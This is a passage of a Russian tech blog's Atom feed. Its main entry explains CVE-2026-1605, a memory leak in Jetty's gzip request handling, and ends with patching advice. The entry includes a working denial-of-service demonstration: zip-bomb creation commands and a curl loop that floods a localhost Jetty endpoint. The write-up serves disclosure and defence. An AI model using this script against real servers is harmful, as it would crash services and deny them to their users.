  &lt;p id=&quot;u6Ms&quot;&gt;Для удобства использования можно перенести каталоги &lt;code&gt;dist&lt;/code&gt; и &lt;code&gt;node_modules&lt;/code&gt; в отдельное место:&lt;/p&gt;
  &lt;figure id=&quot;EDts&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7f/f8/7ff80e71-80bc-47a3-ad86-15295a32e5c5.png&quot; width=&quot;1085&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IfKc&quot;&gt;И запускать вот таким скриптом:&lt;/p&gt;
  &lt;pre id=&quot;MFPd&quot; data-lang=&quot;bash&quot;&gt;#!/bin/sh

/usr/local/bin/electron37 dist/electron/main.js&lt;/pre&gt;
  &lt;p id=&quot;DeiR&quot;&gt;Готовый &lt;a href=&quot;https://t.me/alex0x09/2665&quot; target=&quot;_blank&quot;&gt;архив со сборкой&lt;/a&gt; можно скачать в нашем Телеграм-канале.&lt;/p&gt;

</content></entry><entry><id>alex0x08:jetty-leak-cve-2026-1605</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/jetty-leak-cve-2026-1605?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>Март, Jetty и утекшая память</title><published>2026-03-10T11:10:40.924Z</published><updated>2026-03-13T07:00:55.588Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/50/c5/50c5f4c1-8240-48d2-8c18-78d4b8b786a3.png"></media:thumbnail><category term="software-development" label="software-development"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/6b/ff/6bff1c1b-fbd0-4e6a-8aad-444bf2a0d4c5.jpeg&quot;&gt;За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.</summary><content type="html">
  &lt;p id=&quot;7FEw&quot;&gt;За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.&lt;/p&gt;
  &lt;figure id=&quot;czyv&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6b/ff/6bff1c1b-fbd0-4e6a-8aad-444bf2a0d4c5.jpeg&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Почти 4Гб сожранной памяти меньше чем за минуту работы.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;bzNw&quot;&gt;Статус&lt;/h2&gt;
  &lt;p id=&quot;HSbz&quot;&gt;Номер уязвимости: &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-1605&quot; target=&quot;_blank&quot;&gt;CVE-2026-1605&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;Jg8A&quot;&gt;Вектор атаки: &lt;em&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;dfRn&quot;&gt;Уровень: &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2026-1605&amp;vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&amp;version=3.1&amp;source=Eclipse%20Foundation&quot; target=&quot;_blank&quot;&gt;7.5 HIGH&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;gezn&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;FiZG&quot;&gt;acidburn96: хочешь фокус покажу&lt;/p&gt;
  &lt;p id=&quot;7mEZ&quot;&gt;alex0x08:  только не как в прошлый раз ж)&lt;/p&gt;
  &lt;p id=&quot;4JEF&quot;&gt;acidburn96: стенд проекта [вырезаноцензурой] еще работает? &lt;/p&gt;
  &lt;p id=&quot;7zbI&quot;&gt;alex0x08:  работает, пока еще не успели снести&lt;/p&gt;
  &lt;p id=&quot;ZUNQ&quot;&gt;acidburn96: открой его в браузере&lt;/p&gt;
  &lt;p id=&quot;mFw5&quot;&gt;alex0x08:  открыл&lt;/p&gt;
  &lt;p id=&quot;gSfK&quot;&gt;alex0x08: и что дальше?&lt;/p&gt;
  &lt;p id=&quot;o2We&quot;&gt;acidburn96: жди&lt;/p&gt;
  &lt;p id=&quot;ijQQ&quot;&gt;acidburn96: жди&lt;/p&gt;
  &lt;p id=&quot;Gk3f&quot;&gt;acidburn96: жди&lt;/p&gt;
  &lt;p id=&quot;mtUo&quot;&gt;acidburn96: проверяй&lt;/p&gt;
  &lt;p id=&quot;lDv5&quot;&gt;acidburn96: жми F5&lt;/p&gt;
  &lt;p id=&quot;O7lA&quot;&gt;alex0x08:  так блин&lt;/p&gt;
  &lt;p id=&quot;NcXs&quot;&gt;alex0x08:  слыш Копперфильд &lt;/p&gt;
  &lt;p id=&quot;CY6X&quot;&gt;alex0x08:  и где стенд? куда все делось?&lt;/p&gt;
  &lt;p id=&quot;83hH&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;NnFv&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7c/b4/7cb463de-88d8-499c-a51a-9fbd7b4c009e.png&quot; width=&quot;970&quot; /&gt;
    &lt;figcaption&gt;Шапка с описанием уязвимости в Github Advisory Database, который я теперь читаю каждое утро вместо новостей.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;MWXk&quot;&gt;Уязвимость&lt;/h2&gt;
  &lt;p id=&quot;vERB&quot;&gt;Еще в январе 2026 года в проекте Eclipse Jetty — такой очень известный сервлет-контейнер для Java, была обнаружена &lt;a href=&quot;https://gitlab.eclipse.org/security/cve-assignment/-/issues/79&quot; target=&quot;_blank&quot;&gt;серьезная проблема&lt;/a&gt; с обработкой сжатых входящих запросов.&lt;/p&gt;
  &lt;blockquote id=&quot;AkqX&quot;&gt;Догадываюсь, что далеко не всем из читателей известно о том что помимо сжатых ответов (статику сжимают наверное все), бывают еще и сжатые &lt;strong&gt;запросы&lt;/strong&gt; к веб-серверам, поэтому &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Encoding&quot; target=&quot;_blank&quot;&gt;вот тут&lt;/a&gt; немного больше информации о таком замечательном функционале.&lt;/blockquote&gt;
  &lt;p id=&quot;1Gow&quot;&gt;Как бы то ни было, в начале марта информация по этой проблеме была &lt;a href=&quot;https://github.com/advisories/GHSA-xxh7-fcf3-rj7f&quot; target=&quot;_blank&quot;&gt;выложена в публичный доступ&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;qfjO&quot;&gt;Правда без PoC и с весьма мутным описанием:&lt;/p&gt;
  &lt;blockquote id=&quot;HT0S&quot;&gt;The leak is created by requests where the request is inflated (&lt;code&gt;Content-Encoding: gzip&lt;/code&gt;) and the response is not deflated (no &lt;code&gt;Accept-Encoding: gzip&lt;/code&gt;). In these conditions, a new inflator will be created by &lt;code&gt;GzipRequest&lt;/code&gt; and never released back into &lt;code&gt;GzipRequest.__inflaterPool&lt;/code&gt; because &lt;code&gt;gzipRequest.destory()&lt;/code&gt; is not called.&lt;/blockquote&gt;
  &lt;p id=&quot;VwaS&quot;&gt;Что впрочем не помешало восстановить логику работы по одним только &lt;a href=&quot;https://github.com/jetty/jetty.project/pull/14262/files&quot; target=&quot;_blank&quot;&gt;коммитам&lt;/a&gt; с исправлениями. &lt;/p&gt;
  &lt;p id=&quot;P53X&quot;&gt;В чем суть:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;kAE2&quot;&gt;при обработке входящих запросов к серверу с заголовком &lt;code&gt;Content-Encoding: gzip&lt;/code&gt; и сжатым содержимым, в некоторых случаях происходит утечка памяти.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;fO2C&quot;&gt;Чтобы это сработало, необходимо чтобы клиент присылал только заголовок &lt;code&gt;Content-Encoding: gzip&lt;/code&gt;, но не присылал &lt;code&gt;Accept-Encoding: gzip&lt;/code&gt;, по наличию которого включается сжатие ответов.&lt;/p&gt;
  &lt;p id=&quot;RNRy&quot;&gt;Надо заметить, что в обычной жизни такая комбинация невозможна и например Google Chrome отправляет заголовок &lt;code&gt;Accept-Encoding: gzip&lt;/code&gt; &lt;strong&gt;всегда&lt;/strong&gt;, вне зависимости от того сжат ли запрос.&lt;/p&gt;
  &lt;h2 id=&quot;EwD2&quot;&gt;Зона риска&lt;/h2&gt;
  &lt;p id=&quot;ZT4j&quot;&gt;Хотя проблема затрагивает только 12ю версию Jetty, но зато &lt;em&gt;все релизы&lt;/em&gt; с 2023 года и по март 2026го, страшные красные плашки на артефактах вот &lt;a href=&quot;https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-server/versions&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt; не дадут соврать.&lt;/p&gt;
  &lt;p id=&quot;6znZ&quot;&gt;Поскольку Jetty чаще всего используется как встраиваемый движок, а не отдельно устанавливаемое приложение — в зоне риска &lt;a href=&quot;https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-server/used-by&quot; target=&quot;_blank&quot;&gt;все проекты&lt;/a&gt;, которые использовали или используют артефакт &lt;code&gt;jetty-server&lt;/code&gt; за последние &lt;strong&gt;три года&lt;/strong&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;O44c&quot;&gt;Что-то около &lt;em&gt;четырех с половиной тысяч&lt;/em&gt; проектов, согласно статистике.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;iESn&quot;&gt;Но есть что-то и хорошее во всем этом бесконечном мраке ужаса и отчаяния:&lt;/p&gt;
  &lt;blockquote id=&quot;8W6T&quot;&gt;обработка сжатых запросов и ответов по-умолчанию &lt;strong&gt;выключена&lt;/strong&gt; и требует отдельной настройки. &lt;/blockquote&gt;
  &lt;p id=&quot;ygpu&quot;&gt;Правда эта настройка чуть ли не первое, что включают на реальном продакшне при сколь-нибудь существенной нагрузке, но не будем снова о грустном.&lt;/p&gt;
  &lt;h2 id=&quot;hJl1&quot;&gt;Исправление&lt;/h2&gt;
  &lt;p id=&quot;nSOV&quot;&gt;На момент написания этих строк, проблема уже &lt;strong&gt;исправлена&lt;/strong&gt;. &lt;/p&gt;
  &lt;p id=&quot;NiBe&quot;&gt;Для ветки 12.1.х начиная с &lt;code&gt;12.1.6&lt;/code&gt;, для более ранней и стабильной 12.0.х — начиная с &lt;code&gt;12.0.32&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;Ampd&quot;&gt;Если в вашем проекте Jetty используется в виде зависимости, вроде:&lt;/p&gt;
  &lt;pre id=&quot;x2H2&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;dependency&amp;gt;
            &amp;lt;groupId&amp;gt;org.eclipse.jetty&amp;lt;/groupId&amp;gt;
            &amp;lt;artifactId&amp;gt;jetty-server&amp;lt;/artifactId&amp;gt;
            &amp;lt;version&amp;gt;12.1.5&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;fl6X&quot;&gt;Достаточно лишь изменить версию на исправленную и обновиться.&lt;/p&gt;
  &lt;p id=&quot;EzuM&quot;&gt;Но на свете существует еще и такая зверская вещь как &lt;a href=&quot;https://spring.io/&quot; target=&quot;_blank&quot;&gt;Spring Boot&lt;/a&gt; — огромный современный фреймворк, который давно стал стандартом «де-факто» для всей бекэнд-разработки на Java.&lt;/p&gt;
  &lt;p id=&quot;Uv9F&quot;&gt;Spring Boot активно использует Jetty в качестве одного из главных сервлет-контейнеров:&lt;/p&gt;
  &lt;figure id=&quot;914A&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/49/0b/490b25a4-54ad-411d-b576-2eb2bbd0f041.png&quot; width=&quot;761&quot; /&gt;
    &lt;figcaption&gt;Обратите внимание на номер версии в зависимости Jetty, а ведь 4.0.2 совсем недавно считалась свежей и использовалась повсеместно.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7Tqz&quot;&gt;Версии Spring Boot с исправленным Jetty начинаются с &lt;code&gt;4.0.3&lt;/code&gt;, но обновлять сам Spring Boot — то еще приключение.&lt;/p&gt;
  &lt;p id=&quot;oxZQ&quot;&gt;Так что для многих весна станет очень тяжелой.&lt;/p&gt;
  &lt;h2 id=&quot;0Uaq&quot;&gt;Демонстрация&lt;/h2&gt;
  &lt;p id=&quot;1HZ6&quot;&gt;Описание уязвимости это конечно хорошо, но к сожалению серьезных дыр стало настолько много в последнее время, что глаз безопасника замылился — уже не реагирует на проблемы слабее RCE и статуса «Critical». &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;DXyC&quot;&gt;Так что было решено провести демонстрацию — собрать уязвимый стенд и попробовать его завалить.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;4vM0&quot;&gt;Может хоть это заставит кого-то из читателей обновиться.&lt;/p&gt;
  &lt;h3 id=&quot;zVLu&quot;&gt;Тестовое приложение&lt;/h3&gt;
  &lt;p id=&quot;aF2B&quot;&gt;Поскольку Jetty это только сервлет-контейнер, HTTP-запросы все равно должны обрабатываться каким-нибудь конечным сервлетом.&lt;/p&gt;
  &lt;p id=&quot;xkzz&quot;&gt; Поэтому для проверки уязвимости был сотворен вот такой простейший сервлет:&lt;/p&gt;
  &lt;pre id=&quot;aDxP&quot; data-lang=&quot;java&quot;&gt;package com.Ox08.vuln.cve20261605;

import jakarta.servlet.ServletInputStream;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/*
    Простейший сервлет для демонстрации CVE-2026-1605
*/
@WebServlet(&amp;quot;/yo&amp;quot;)
public class TestServlet extends  HttpServlet {   
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        resp.setContentType(&amp;quot;text/plain&amp;quot;);
        PrintWriter out = resp.getWriter();
        out.printf(&amp;quot;Request at: %d%n&amp;quot;, System.currentTimeMillis());

        try (ServletInputStream in = req.getInputStream()) {
            // вызов чтения данных запустит распаковку запроса
            byte[] data = in.readAllBytes();
            out.printf(&amp;quot;Request size: %d%n&amp;quot;, data.length);
        }
    }
}&lt;/pre&gt;
  &lt;p id=&quot;QjDl&quot;&gt;Все что делает код выше это лишь чтение тела POST-запроса и отдача двух строк как «plain text»: таймстампа запроса и размера полученных данных.&lt;/p&gt;
  &lt;blockquote id=&quot;cqPo&quot;&gt;Тут нет ни сложной потоковой обработки, ни Mutipart-запросов — все гораздо проще, отчего и страшнее.&lt;/blockquote&gt;
  &lt;p id=&quot;clbM&quot;&gt;Собрать можно любой средой разработки для Java, хоть что-то знающей о сервлетах, например в &lt;a href=&quot;https://www.jetbrains.com/idea/&quot; target=&quot;_blank&quot;&gt;Intellij Idea&lt;/a&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;Hm9y&quot;&gt;Тестовый Jetty&lt;/h3&gt;
  &lt;p id=&quot;pKtR&quot;&gt;Помимо тестового приложения, необходима еще и уязвимая версия Jetty.&lt;/p&gt;
  &lt;p id=&quot;KOgI&quot;&gt;Для чистоты эксперимента, была взята версия &lt;code&gt;12.1.5&lt;/code&gt; , последняя в ветке 12.1.х до исправления, которую можно скачать &lt;a href=&quot;https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;aQUd&quot;&gt;Скачиваем и распаковываем:&lt;/p&gt;
  &lt;pre id=&quot;giLR&quot; data-lang=&quot;bash&quot;&gt;wget https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/jetty-home-12.1.5.zip
unzip jetty-home-12.1.5.zip&lt;/pre&gt;
  &lt;p id=&quot;Ioge&quot;&gt;Следующим шагом необходимо подготовить рабочий каталог Jetty, поскольку с недавних пор сервер Jetty с библиотеками и скриптами отделен от рабочей области, в которой происходит развертывание веб-приложений: &lt;/p&gt;
  &lt;pre id=&quot;mTjD&quot; data-lang=&quot;bash&quot;&gt;mkdir jetty-work
cd jetty-work
export JETTY_HOME=../jetty-home-12.1.5&lt;/pre&gt;
  &lt;p id=&quot;mA5J&quot;&gt;Включаем основные модули:&lt;/p&gt;
  &lt;pre id=&quot;EwXJ&quot; data-lang=&quot;bash&quot;&gt;java -jar $JETTY_HOME/start.jar --add-modules=server,http,ee11-deploy,ee11-jsp&lt;/pre&gt;
  &lt;p id=&quot;g3Kz&quot;&gt;Включаем модуль gzip:&lt;/p&gt;
  &lt;pre id=&quot;CLO5&quot; data-lang=&quot;bash&quot;&gt;java -jar $JETTY_HOME/start.jar --add-modules=gzip&lt;/pre&gt;
  &lt;p id=&quot;BFxz&quot;&gt;Тут стоит заметить, что модуль &lt;code&gt;gzip&lt;/code&gt; начиная с версии 12.1.х помечен как «deprecated» т. е. устаревший, с предложением перехода на его замену — модуль &lt;code&gt;compression-gzip&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;qNhp&quot;&gt;Но во-первых &lt;s&gt;это Jetty&lt;/s&gt; непонятно как долго продлится такой переход, во-вторых более старую версию 12.0.х никто не отменял — ее поддержка точно продолжится минимум на этот год. &lt;/p&gt;
  &lt;blockquote id=&quot;n5FI&quot;&gt;В третьих, в наш век погони за метриками и красивыми отчетами, в порядке вещей специально глушить сообщения об устаревании, как &lt;a href=&quot;https://github.com/spring-projects/spring-boot/issues/47134&quot; target=&quot;_blank&quot;&gt;поступили&lt;/a&gt; для примера парни из Spring.&lt;/blockquote&gt;
  &lt;p id=&quot;lpkB&quot;&gt;После добавления, модуль gzip еще надо дополнительно настроить, для чего задаем следующие настройки в файле &lt;code&gt;$JETTY_HOME/start.d/gzip.ini&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;geOJ&quot;&gt;## Minimum content length after which gzip is enabled
jetty.gzip.minGzipSize=32

## Inflate request buffer size, or 0 for no request inflation
jetty.gzip.inflateBufferSize=4096

## Comma separated list of included HTTP methods
jetty.gzip.includedMethodList=GET,POST&lt;/pre&gt;
  &lt;p id=&quot;0lgM&quot;&gt;Дополнительно я еще включил логирование через &lt;a href=&quot;https://logback.qos.ch/&quot; target=&quot;_blank&quot;&gt;Logback&lt;/a&gt;:&lt;/p&gt;
  &lt;pre id=&quot;YDpW&quot; data-lang=&quot;bash&quot;&gt;java -jar $JETTY_HOME/start.jar --add-modules=logging-logback&lt;/pre&gt;
  &lt;p id=&quot;9Z2a&quot;&gt;Поскольку по какой-то причине стандартный JCL не хотел работать с сообщениями из модуля &lt;code&gt;gzip&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;cQAz&quot;&gt;После добавления модуля, появится файл &lt;code&gt;resources/logback.xml&lt;/code&gt; с настройками логирования по-умолчанию.&lt;/p&gt;
  &lt;p id=&quot;jpvX&quot;&gt;Внутрь необходимо добавить строку:&lt;/p&gt;
  &lt;pre id=&quot;yYcW&quot; data-lang=&quot;xml&quot;&gt; &amp;lt;logger name=&amp;quot;org.eclipse.jetty.server.handler.gzip&amp;quot; level=&amp;quot;DEBUG&amp;quot; /&amp;gt; &lt;/pre&gt;
  &lt;p id=&quot;bGLU&quot;&gt;Копируем наше тестовое приложение &lt;code&gt;gziptest.war&lt;/code&gt; в каталог &lt;code&gt;$JETTY_HOME/webapps&lt;/code&gt; и наконец запускаем наш уязвимый Jetty:&lt;/p&gt;
  &lt;pre id=&quot;P8qh&quot; data-lang=&quot;bash&quot;&gt;java -jar $JETTY_HOME/start.jar &lt;/pre&gt;
  &lt;p id=&quot;80zs&quot;&gt;Теперь переходим к формированию специального запроса-убийцы.&lt;/p&gt;
  &lt;h3 id=&quot;qc3V&quot;&gt;Запрос-убийца&lt;/h3&gt;
  &lt;p id=&quot;Dbd4&quot;&gt;Шатать так шатать, для демонстрации процесса была подготовлена классическая &lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/09-Test_Upload_of_Malicious_Files&quot; target=&quot;_blank&quot;&gt;ZIP-бомба&lt;/a&gt; — огромный пустой файл, который будучи сжатым имеет смешные размеры, но при распаковке создает массу веселья.&lt;/p&gt;
  &lt;p id=&quot;MLYS&quot;&gt;Так выглядит процесс создания:&lt;/p&gt;
  &lt;pre id=&quot;DyVq&quot; data-lang=&quot;bash&quot;&gt;dd if=/dev/zero of=./1g.bin bs=1G count=1
gzip ./1g.bin&lt;/pre&gt;
  &lt;p id=&quot;2zur&quot;&gt;А так — сам скрипт «бомбометания»:&lt;/p&gt;
  &lt;pre id=&quot;WxJ6&quot; data-lang=&quot;bash&quot;&gt;#!/bin/bash
export TARGET=http://localhost:8080/gziptest/yo
for i in &amp;#x60;seq 1 2000000&amp;#x60;; do 
curl -v -s --data-binary @1g.bin.gz -H &amp;quot;Content-Encoding: gzip&amp;quot; $TARGET;
done&lt;/pre&gt;
  &lt;p id=&quot;WN2o&quot;&gt;Он сознательно сделан максимально простым, без участия сети, без параллельных запросов и генерации контента — чтобы можно было показать быстрый рост используемой памяти — ту самую утечку.&lt;/p&gt;
  &lt;p id=&quot;IVjn&quot;&gt;Запускаем и буквально после второго же запроса наблюдаем OOM: &lt;/p&gt;
  &lt;figure id=&quot;Jot6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/27/9d/279d7dd1-1cbd-4650-a52f-a968c0b7fed3.png&quot; width=&quot;1012&quot; /&gt;
    &lt;figcaption&gt;Эта ошибка - причина многих бессонных ночей, проведенных за отладкой и отловом причины.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;39eR&quot;&gt;Про OutOfMemory&lt;/h3&gt;
  &lt;p id=&quot;VHoZ&quot;&gt;Теперь наверное стоит сделать лирическое отступление и пояснить общественности саму проблематику ошибки OutOfMemoryError.&lt;/p&gt;
  &lt;p id=&quot;OBUc&quot;&gt;Поведение приложения на Java при утечке памяти достаточно сильно отличается от аналогичного, например на Golang или C++. &lt;/p&gt;
  &lt;blockquote id=&quot;9zj6&quot;&gt;Отличается отнюдь не в лучшую сторону.&lt;/blockquote&gt;
  &lt;p id=&quot;zFto&quot;&gt;Если в аналогичной ситуации с утечкой памяти сервис на Golang просто и банально упадет, позволив отработать watchdog, то сервис, реализованный на Java и словивший OOM.. продолжит работать.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;qUkx&quot;&gt;Но только поведение сервиса станет &lt;strong&gt;непредсказуемым&lt;/strong&gt;.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;6sVG&quot;&gt;Какие-то запросы (если они помещаются в остатки памяти) продолжат отрабатывать и отдаваться пользователям, какие-то — начнут порождать ошибки.&lt;/p&gt;
  &lt;blockquote id=&quot;go94&quot;&gt;Если использовался шаблонизатор страниц вроде JSP/JSF с частичной компиляцией и кешированием — то что попало в кеш до OOM продолжит работать, если использовался Thymeleaf или Freemaker то скорее всего все сразу сломается. &lt;/blockquote&gt;
  &lt;p id=&quot;f18O&quot;&gt;Тоже самое с Hibernate ORM и запросами к СУБД — то что успело закешироваться продолжит работать и отдавать данные, то что нет — будет порождать самые разнообразные ошибки с удивительными трассировками, о которых не знает даже Google и нейросети. &lt;/p&gt;
  &lt;p id=&quot;u9YW&quot;&gt;Появятся ошибки записи в файлы, ошибки чтения, ошибки транзакций — в Java (в обычных проектах) все это просто не рассчитано на работу при OOM.&lt;/p&gt;
  &lt;p id=&quot;6Usk&quot;&gt;Думаю несложно догадаться, что при таких вводных даже реализация «сторожевого пса» (Watchdog) для сервиса на Java представляет проблему. &lt;/p&gt;
  &lt;p id=&quot;75ol&quot;&gt;Доходит до того, что реализации watchdog вешают свои обработчики непосредственно на ошибку OutOfMemoryError, по которой убивают процесс и запускают заново.&lt;/p&gt;
  &lt;p id=&quot;1prI&quot;&gt;Поэтому OOM для Java это что-то вроде Ахиллесовой пяты — мелкая ерунда, которая может убить великана. &lt;/p&gt;
  &lt;blockquote id=&quot;YmNy&quot;&gt;Причем не сразу насмерть, а долго и мучительно.&lt;/blockquote&gt;
  &lt;p id=&quot;8EBs&quot;&gt;Но вернемся к нашей проблеме.&lt;/p&gt;
  &lt;h2 id=&quot;ZRYW&quot;&gt;Эпилог&lt;/h2&gt;
  &lt;p id=&quot;i0wV&quot;&gt;Стоит только добавить заголовок &lt;code&gt;Accept-Encoding: gzip&lt;/code&gt; к запросу и все замечательно работает:&lt;/p&gt;
  &lt;pre id=&quot;IfWo&quot; data-lang=&quot;bash&quot;&gt;export TARGET=http://localhost:8080/gziptest/yo
curl -v -s --data-binary @1g.xml.gz -H &amp;quot;Content-Type: text/xml&amp;quot; -H &amp;quot;Accept-Encoding: gzip&amp;quot; -H &amp;quot;Content-Encoding: gzip&amp;quot; $TARGET;&lt;/pre&gt;
  &lt;p id=&quot;drX7&quot;&gt;Наш запрос-убийца сразу стал белым и пушистым — никаких OutOfMemory больше нет, ответы уходят, память очищается:&lt;/p&gt;
  &lt;figure id=&quot;mLOh&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bb/16/bb160f27-a52d-4dbb-aed6-8b2f4f951591.png&quot; width=&quot;1012&quot; /&gt;
    &lt;figcaption&gt;Собственно внутри GzipResponseAndCallback и происходило корректное освобождение ресурсов до исправления.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4DdL&quot;&gt;Напоследок покажу, как выглядит утечка в профайлере &lt;a href=&quot;https://visualvm.github.io/&quot; target=&quot;_blank&quot;&gt;VisualVM&lt;/a&gt;:&lt;/p&gt;
  &lt;figure id=&quot;F49P&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fb/aa/fbaa6419-72c0-4cc3-be4c-acb36cdfa360.png&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Не так эпично, как на заглавной картинке, но тоже неплохо.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;GHq5&quot;&gt;Рекомендации&lt;/h2&gt;
  &lt;p id=&quot;5vSz&quot;&gt;Помимо традиционных «предохраняться», «перестать пить» и «сменить профессию» стоит порекомендовать хотя-бы иногда просматривать обзоры свежих уязвимостей, дабы оценить применимость к вашей собственной инфраструктуре.&lt;/p&gt;
  &lt;p id=&quot;hqEh&quot;&gt;Что же касается конкретно &lt;code&gt;CVE-2026-1605&lt;/code&gt;, есть несколько вариантов:&lt;/p&gt;
  &lt;ol id=&quot;kruM&quot;&gt;
    &lt;li id=&quot;n9dg&quot;&gt; Банальным образом обновиться до исправленных версий;&lt;/li&gt;
    &lt;li id=&quot;m4cs&quot;&gt;Отключить проблемый модуль &lt;code&gt;gzip&lt;/code&gt;, перенеся игры с сжатием на уровень Nginx, который обычно ставится перед Jetty;&lt;/li&gt;
    &lt;li id=&quot;KFwi&quot;&gt;В случае Spring Boot добавить в конфигурацию:&lt;/li&gt;
  &lt;/ol&gt;
  &lt;pre id=&quot;wbVE&quot;&gt;server.compression.enabled=false&lt;/pre&gt;
  &lt;p id=&quot;jeFB&quot;&gt;Что отключит поддержку сжатых запросов и ответов.&lt;/p&gt;

</content></entry><entry><id>alex0x08:awesome-weekend-spb-short-film</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/awesome-weekend-spb-short-film?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>Веселые каникулы</title><published>2026-03-07T00:48:21.875Z</published><updated>2026-03-10T19:37:00.487Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/81/6a/816a8bfe-b259-4628-a438-a55584e6dd18.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/1b/fc/1bfc3eed-39e0-4b1f-a75f-1f85390f1b7d.jpeg&quot;&gt;Короткий метр.</summary><content type="html">
  &lt;p id=&quot;eWCK&quot;&gt;Короткий метр.&lt;/p&gt;
  &lt;p id=&quot;j827&quot;&gt;Драма, черная комедия, Питер.&lt;/p&gt;
  &lt;blockquote id=&quot;jVP8&quot;&gt;Визуальный стиль — нечто среднее между диснеевским мультиком и фильмами Тарантино. Ярко, но кроваво.&lt;/blockquote&gt;
  &lt;p id=&quot;WIC5&quot;&gt;Успешный, состоятельный бизнесмен и семьянин, а в прошлом — отмороженный бандит и член ОПГ, вынужден бежать в Россию-матушку после долгой жизни заграницей, из-за санкций.  &lt;/p&gt;
  &lt;p id=&quot;nra7&quot;&gt;Где придется столкнуться с бывшими коллегами по опасному делу, у которых накопились к нему серьезные вопросы.&lt;/p&gt;
  &lt;figure id=&quot;JgiW&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1b/fc/1bfc3eed-39e0-4b1f-a75f-1f85390f1b7d.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uq7t&quot;&gt;Все действие происходит одним летним днем в Питере.&lt;/p&gt;
  &lt;h2 id=&quot;Imqz&quot;&gt;1. НАТ. ПОДВОРОТНЯ. &lt;/h2&gt;
